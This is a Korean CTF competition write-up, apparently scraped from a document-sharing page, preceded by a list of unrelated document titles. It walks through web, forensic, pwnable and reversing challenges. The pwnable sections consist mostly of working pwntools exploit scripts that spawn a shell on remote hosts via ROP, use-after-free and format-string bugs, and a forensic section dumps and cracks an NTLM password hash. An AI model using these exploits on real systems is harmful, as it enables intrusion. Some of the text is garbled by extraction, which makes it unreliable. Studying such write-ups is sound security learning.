Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdu

Similar documents
hlogin2

: 1 int arr[9]; int n, i; printf(" : "); scanf("%d", &n); : : for(i=1; i<10; i++) arr[i-1] = n * i; for(i=0; i<9; i++) if(i%2 == 1) print

금오공대 컴퓨터공학전공 강의자료

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

Chapter 4. LISTS


API 매뉴얼

슬라이드 1

歯9장.PDF

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>


4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

T100MD+

Index Process Specification Data Dictionary

BMP 파일 처리

Microsoft PowerPoint - chap06-2pointer.ppt

8장 문자열

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

chap7.key

Microsoft PowerPoint - chap06-1Array.ppt

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

5 167 Python Jon Franklin Python Python Python Python USB USB RS485 C Python DLL Python Python dll Python Python ctypes dll ctypes Python C Linux Wind

C 언어 프로그래밊 과제 풀이

KNK_C_05_Pointers_Arrays_structures_summary_v02

Javascript.pages

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

Deok9_Exploit Technique

SRC PLUS 제어기 MANUAL

쉽게 풀어쓴 C 프로그래밍

untitled

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

untitled

Microsoft PowerPoint - chap06-5 [호환 모드]

int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

The Pocket Guide to TCP/IP Sockets: C Version

untitled

UI TASK & KEY EVENT

Microsoft PowerPoint - chap05-제어문.pptx

SIGPLwinterschool2012

PowerPoint 프레젠테이션

중간고사

PowerPoint 프레젠테이션

slide2

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

03장.스택.key

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

2015 개정교육과정에따른정보과평가기준개발연구 연구책임자 공동연구자 연구협력관

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - Java7.pptx

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

3ÆÄÆ®-11

PowerPoint 프레젠테이션

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

Microsoft PowerPoint 세션.ppt

PowerPoint 프레젠테이션

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

vi 사용법

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

쉽게 풀어쓴 C 프로그래밍

untitled


COVER.HWP

이슈분석 2000 Vol.1

가볍게읽는-내지-1-2

한눈에-아세안 내지-1

kbs_thesis.hwp


3장 함수

C 프로그래밊 개요

17장 클래스와 메소드

Week5

PowerPoint 프레젠테이션

, ( ),, ( ), 3, int kor[5]; int eng[5]; int Microsoft Windows 4 (ANSI C2 ) int kor[5] 20 # define #define SIZE 20 int a[10]; char c[10]; float

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

Microsoft PowerPoint - chap12-고급기능.pptx

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

untitled

목차 배열의개요 배열사용하기 다차원배열 배열을이용한문자열다루기 실무응용예제 C 2

(Microsoft Word - \301\337\260\243\260\355\273\347.docx)

슬라이드 1

Microsoft PowerPoint - Chapter_08.pptx

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

ABC 11장

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - Chapter_09.pptx

Transcription:

[WARM UP 5] sanity code int main(){ int i = 0; char *ptr; char input[17] = {0, }; char test[17] = {15,19,6,14,21,11,7,11,33,21,26,40,1,11,4,74,0}; printf("please Input Your FLAG : "); scanf("%s", input); for(i = 0; i < 16; i++) test[i] ^= input[i]; } if(!strcmp(test, "HackabilityCheck")) printf("good :)\n"); Colored by Color Scripter cs from pwn import * l=[15,19,6,14,21,11,7,11,33,21,26,40,1,11,4,74,0] s='hackabilitycheck' print xor(l,s) Colored by Color Scripter Key : GreetingHacking! cs [WARM UP 5] sanity binary 키출력하는함수이다. 치트엔진으로쓰레드생성해주면끝. [WARM UP 5] Toddler's Stair /prob1.php?hehe=givemeflag Content-Type : application/x-www-form-urlencoded /prob2_yoyo_0123.php POST 데이터 please=givemeflag 전송 /hoihoi_prob3_.php POST 데이터 please=givemeflag 와함께?hehe=givemeflag GET 데이터 전송 /yeah_f1nal_stag3.php document.cookie="kokoro=pyon_pyon_surun_jaa"

Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdump 로해시추출후크랙 d1m1g0:1000:aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4::: Hash Type Result 0515322a55615056aaabb044a48463a4 NTLM 1q2w3e4r! Key : d1m1g0_1q2w3e4r! [PWNABLE 250] Kanai's Cube 길이체크를하지만 signed int 형이므로 -1 로 int overflow 발생시켜길이를조절한다. 커스텀카나리로 bof 를체크한다. 시드가타임기반이므로쉽게우회할수있다. puts 로 got 릭 -> printf got 를 system 으로 write -> printf_plt 호출 -> shell from pwn import * from ctypes import CDLL libc = CDLL('libc.so.6') libc.srand(int(time.time())) cookie = libc.rand() r = remote('45.32.38.83',25552 ) print r.recv() r.sendline(str(-1)) print r.recv() puts_plt = 0x08048460 printf_plt = 0x08048440 read_plt = 0x8048430 read_got = 0x804a00C printf_got = read_got+4 binsh = 0x804A044 p4r = 0x804879c p3r = p4r+1 cs

p2r = p4r+2 p1r = p4r+3 p0r = p4r+4 p = 'A'*122 p += p32(cookie) p += 'A'*12 p += p32(puts_plt) p += p32(p1r) p += p32(read_got) p += p32(read_plt) p += p32(p3r) p += p32(0) p += p32(printf_got) p += p32(4) p += p32(read_plt) p += p32(p3r) p += p32(0) p += p32(binsh) p += p32(10) p += p32(printf_plt) p += p32(p1r) p += p32(binsh) sleep(0.1) r.sendline(p) print r.recv() print r.recv() s = r.recv() s = s[1:] print hexdump(s) read = u32(s[:4]) print 'read',hex(read) printf = u32(s[4:8]) print 'printf',hex(printf) system_offset = -0x9e5e0 system = read + system_offset print 'system',hex(system) r.send(p32(system)) r.sendline('/bin/sh\x00') r.interactive() $ cat flag Good! flag{7h3r3_15_n0_c0w_13v31~!@#$} Key : 7h3r3_15_N0_c0w_13v31~!@#$ [PWNABLE 250] Freedom Dive 간단한 UAF 취약점이다. echo 로구조체전체크기만큼원하는데이터를쓸수있다. 간단하게 free 릭한후 system 주소구해서 delete 로트리거

set -> set -> delete (free) -> echo (free 주소전까지데이터를채움 )-> show( 릭 ) -> echo(free function addr write) -> delete ( trigger) from pwn import * #r = remote('u',1234) r = remote('45.32.38.83',25252) r.recvuntil('name\n') r.sendline('1') r.recvuntil('menu]\n') def echo(s): r.sendline('0') r.recvuntil(' : \n') r.sendline(s) r.recvuntil('menu]\n') def set(name, desc): r.sendline('1') r.recvuntil('name\n') r.sendline(name) r.recvuntil('ion\n') r.sendline(desc) r.recvuntil('menu]\n') def show(): r.sendline('2') data = r.recvuntil('=')[:-1] r.recvuntil('menu]\n') return data def delete(): r.sendline('4') r.recvuntil('menu]\n') set('a'*35, 'A'*215) set('a'*35, 'A'*215) delete() p = 'A'*251 echo(p) s = show() free = u32(s[0x107:0x107+4]) print 'free',hex(free) system_offset = -0x38720 system = free + system_offset print 'system',hex(system) p = '/bin/sh;' p += 'A'*(252-len(p)) p += p32(system) echo(p) r.sendline('4') r.interactive() cs

$ cat flag Congratulations!! flag{y0yo_f0ur_d1m3n5ion5!!} Key : Y0yO_F0UR_D1M3N5ION5!! [PWNABLE 300] Freedom Dive2 달라진것은 free 함수주소를세팅할때 plt 가아닌 libc 주소를넣어릭이필요하다. printf 에 fsb 를발생시켜 libc 를릭한다. 스택에 libc 의 scanf+6 주소가들어있어 libc 릭이가능하다. 시나리오를수정하면 set x3(printf 호출하기위해 delete 로 2 번트리거해야하기때문 ) -> echo(free 주소자리에 printf_plt write) -> delete( 트리거하여 printf fsb 발생 ) -> libc@scanf+6 릭 + system 주소계산-> echo(free 주소를저장하는곳에 printf_plt write) -> delete(trigger) - > shell from pwn import * r = remote('45.32.38.83',28882 ) r.recvuntil('name\n') r.sendline('1') r.recvuntil('menu : ') def echo(s): r.sendline('0') r.recvuntil(' : ') r.sendline(s) r.recvuntil('menu : ') def set(name, desc): r.sendline('1') r.recvuntil('name : ') r.sendline(name) r.recvuntil('ion : ') r.sendline(desc) r.recvuntil('menu : ') def show(): r.sendline('2') cs

data = r.recvuntil('=')[:-1] r.recvuntil('menu : ') return data def delete(): r.sendline('4') r.recvuntil('menu : ') set('a'*35, 'A'*215) set('a'*35, 'A'*215) set('a'*35, 'A'*215) delete() printf_plt = 0x08048450 p = '%09$x' p += 'A'*(252-len(p)) p += p32(printf_plt) echo(p) r.sendline('4') s = r.recv()[:-4] scanf_6 = int(s[:8],16) print 'scanf+6',hex(scanf_6) t system_offset = -0x22ee6 system = scanf_6 + system_offset print 'system',hex(system) p = '/bin/sh;' p += 'A'*(252-len(p)) p += p32(system) echo(p) r.sendline('4') r.interactive()

[REVERSING 400] Peaceful Benedu Time 함수를들여다보니생겨먹은게딱 aes cbc 였다. key 와 iv 는 time 기반으로한시드로생성된다. 통신을하면서키를동기화하기위해다음암호화에쓰일 key 와 iv 를함께보낸다. 프로토콜을대충분석해보면 0x0~0x4 y 0x4~0x8 x 이후 WINNER MESSAGE 0x20~0x30 key 0x30~0x40 iv 이다. 키를계속교환하기때문에첫키만알면쭉복호화가가능하다. 이패킷부터복호화하도록한다. No.1 그전패킷의타임스탬프이다.

pbt_init_key.py import os from Crypto.Cipher import AES def aes_decrypt(enc,key,iv=''): if iv: cipher = AES.new(key, AES.MODE_CBC, iv ) else: cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(enc) seed = 1460215294.736482000 r = os.popen('srand.exe %d 32' % int(seed)).read() r = r.split(' ')[:-1] r = map(lambda x: chr(int(x)&255), r) key = ''.join(r[::2]) iv = ''.join(r[1::2]) print 'key',key.encode('hex') print 'iv',iv.encode('hex') cs 초기키를구하는스크립트. 결과 key fc97b2018d035bf55d489d768135a1f0 iv b0c8ee66854cddbf02c2a538644a4b08 pbt_decrypt.py import dpkt from PIL import Image from Crypto.Cipher import AES from pwn import hexdump,u32 def aes_decrypt(enc,key,iv=''): if iv: cipher = AES.new(key, AES.MODE_CBC, iv ) else: cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(enc) f=file('filtered.pcap',"rb") pcap=dpkt.pcap.reader(f) packets = [] for ts, buf in pcap: eth=dpkt.ethernet.ethernet(buf) cs

ip=eth.data tcp=ip.data packets.append(tcp.data) key = 'fc97b2018d035bf55d489d768135a1f0'.decode('hex') iv = 'b0c8ee66854cddbf02c2a538644a4b08'.decode('hex') packets = packets[1:] datas = [] for packet in packets: data = aes_decrypt(packet, key, iv) datas.append(data) key = data[0x20:0x30] iv = data[0x30:0x40] if packet == packets[-1]: print repr(data) stones = [] for data in datas[:-1]: y = u32(data[:4]) x = u32(data[4:8]) stones.append([x,y]) im = Image.new('L', (30,30),128) pixs = im.load() for i in range(len(stones)): stone = stones[i] if i%2: pixs[stone[0],stone[1]] = 255 else: pixs[stone[0],stone[1]] = 0 im.save('map.png') from md5 import md5 print md5('ha_n0_0ne_doing_benedu_lol').hexdigest() WINNER MESSAGE HA_N0_0nE_DoInG_bEnEdU 패킷의앞 4 바이트가바둑돌의 y 좌표다음 4 바이트가 x 좌표이므로 PIL 로바둑판맵을그려본다.

MAP LOL Key : a2113fcefa94fa5b16f44a28fbb831b6 ( 아이디어가참신했고리얼월드느낌이많이났다. 최근푼 ctf 문제중에서오랜만에재미있는문제였다.) [REVERSING 450] Where is input exe 에서 dll export check 함수로체크한다. 앞문자열은 Th1S_1s_ 로시작한다. dll 의 check 을보면안티디버깅이여럿있는데적절히우회해준다. CreateThread 에ㅓㄴ 이런코드를볼수있다.

rol 과 rand 을 xor 한다. key 는앞자리와뒷자리를 xor 한값이다. 그리고 rol 과 xor 은역연산이가능하다. 그러므로앞 1 바이트를알면역연산을할수있다. rand 값은모두뽑아서테이블을만든후역으로접근한다. 1 바이트밖에안되니브포로찾자. Th1S_1s_first key <THE_input_i5_> 그리고더뒤지다보면 10001540 이있는데 이런코드를발견할수있다. 이코드는 vmware 게스트에서만정상적으로작동한다. 호스트의클립보드데이터를가져온다.

chk2 를보면 ror 이 rol 로 xor 순서가바뀐것외에는같다. import string printset = set(string.printable) is_print = lambda x: set(x).issubset(printset) rands = [0, 21468, 9988, 15628, 9196, 20666, 17047, 3649, 19799, 32763, 24976, 9089, 16806, 8936, 593 2, 7969, 25518, 2196, 14616, 28336, 23962, 7112, 31685, 8245, 26588, 29395, 30882, 5184, 14115, 26378, 23373, 23126, 17114, 8983, 32290, 31933, 7524, 18610, 27456, 21595, 29452, 21586, 9025, 1692, 4405, 18755, 27591, 6804, 10908, 23948, 13535, 5036, 26333, 7904, 19125, 12347, 20774, 576, 10970, 611, 318 21, 24050, 21277, 16100, 6231, 31089, 17306, 6301, 19638, 8772, 31053, 21614, 21745, 20580, 7926, 291 20, 27188, 23540, 12003, 9146, 20720, 8811, 7309, 26589, 4543, 18011, 10876, 25836, 18420, 1249, 2675 6, 28463, 3193, 25192, 29171, 18250, 787, 12207, 10930] rands2 = [0, 21468, 9988, 15628, 9196, 20666, 17047, 3649, 19799, 32763, 24976, 9089, 16806, 8936, 59 32, 7969, 25518, 2196, 14616, 28336, 23962, 7112, 31685, 8245, 26588, 29395, 30882, 5184, 14115, 2637 8, 23373, 23126, 17114, 8983, 32290, 31933, 7524, 18610, 27456, 21595, 29452, 21586, 9025, 1692, 4405, 18755, 27591, 6804, 10908, 23948, 13535, 5036, 26333, 7904, 19125, 12347, 20774, 576, 10970, 611, 31 821, 24050, 21277, 16100, 6231, 31089, 17306, 6301, 19638, 8772, 31053, 21614, 21745, 20580, 7926, 29 120, 27188, 23540, 12003, 9146, 20720, 8811, 7309, 26589, 4543, 18011, 10876, 25836, 18420, 1249, 267 56, 28463, 3193, 25192, 29171, 18250, 787, 12207, 10930, 17600, 22080, 8039, 31304, 21498, 4980, 1453, 5887, 13567, 19574, 15153, 11927, 28176, 22916, 2326] cnt = 0 def get_rand(): global cnt c s

cnt -=1 return rands[cnt] def get_rand2(): global cnt cnt -=1 return rands2[cnt] def rol(data, shift, size=8): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def ror(data, shift, size=8): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) key1 = 'E249D96FA3F5592FFF8F0131FD214270C405543EB3499188175017E6871ED0C468'.decode('hex') key2 = 'A37F7D5C99694CB90492F79867B27AD4766E0F584396314FE105240555DD24E496510EABA6E2'.d ecode('hex') def check1(key, first_char): global cnt cnt = len(rands) s = [None] * len(key) s[0] = ord(first_char) for i in range(len(key)-1): s[i+1] = s[i]^ord(key[i]) for i in range(len(s)-1,-1,-1): get_rand() s[i] ^= get_rand()&0xff r = get_rand()%8 s[i] = rol(s[i], r) return ''.join(map(chr, s)) def check2(key, first_char): global cnt cnt = len(rands2) s = [None] * len(key)

s[0] = ord(first_char) for i in range(len(key)-1): s[i+1] = s[i]^ord(key[i]) for i in range(len(s)-1,-1,-1): get_rand2() r = get_rand2()%8 s[i] = ror(s[i], r) s[i] ^= get_rand2()&0xff return ''.join(map(chr, s)) for i in range(255): s = check1(key1, chr(i)) if is_print(s): print s for i in range(255): s = check2(key2, chr(i)) if is_print(s): print s Colored by Color Scripter Th1S_1s_first key <THE_input_i5_> Second key <in_the_vmb4ckd00r_i0_p0rt> Key : THE_input_i5_ in_the_vmb4ckd00r_i0_p0rt

[REVERSING 300] Gauss 겉으로보면매우복잡하게보이지만다행히입력값이달라도조건은항상같았다. 하지만입력값에따라리턴값은다르기때문에파일을패치하여내가입력한값의 리턴값이무엇인지알수있도록출력하여 (puts(v6+i)) 조건을맞추었다. from pwn import * s = '94A3A3FF825715FF27DEADFE9A672AFED120CDFD2A2044FD02D59FFC61F81EFCFC1CD4FB7D565DF BB5C3C2FA1A481FFADD1DA2F9102C29F9E78995F8297521F89A1EA5F7DB4C19F72CA4B3F63771FDF5229 FAAF5CA2637F52DF1D0F45F8359F40A0DC9F3DD967BF3E188CBF2DCAF59F2'.replace(' ', '').decode('hex') answer = [] for i in range(0,len(s),4): answer += [u32(s[i:i+4])] flag = 'flag{ar3_y0u_g3niu5_or_fool' for i in range(len(flag),28): for c in string.printable: p = flag + c r = process(['gauss',p]) c s

sleep(0.1) s = r.recv(140)[:i*5+5] l = [] for j in range(0,len(s),5): l += [u32(s[j:j+4])] my = l[i] if my == answer[i]: print c flag += c print '##########flag',flag break Colored by Color Scripter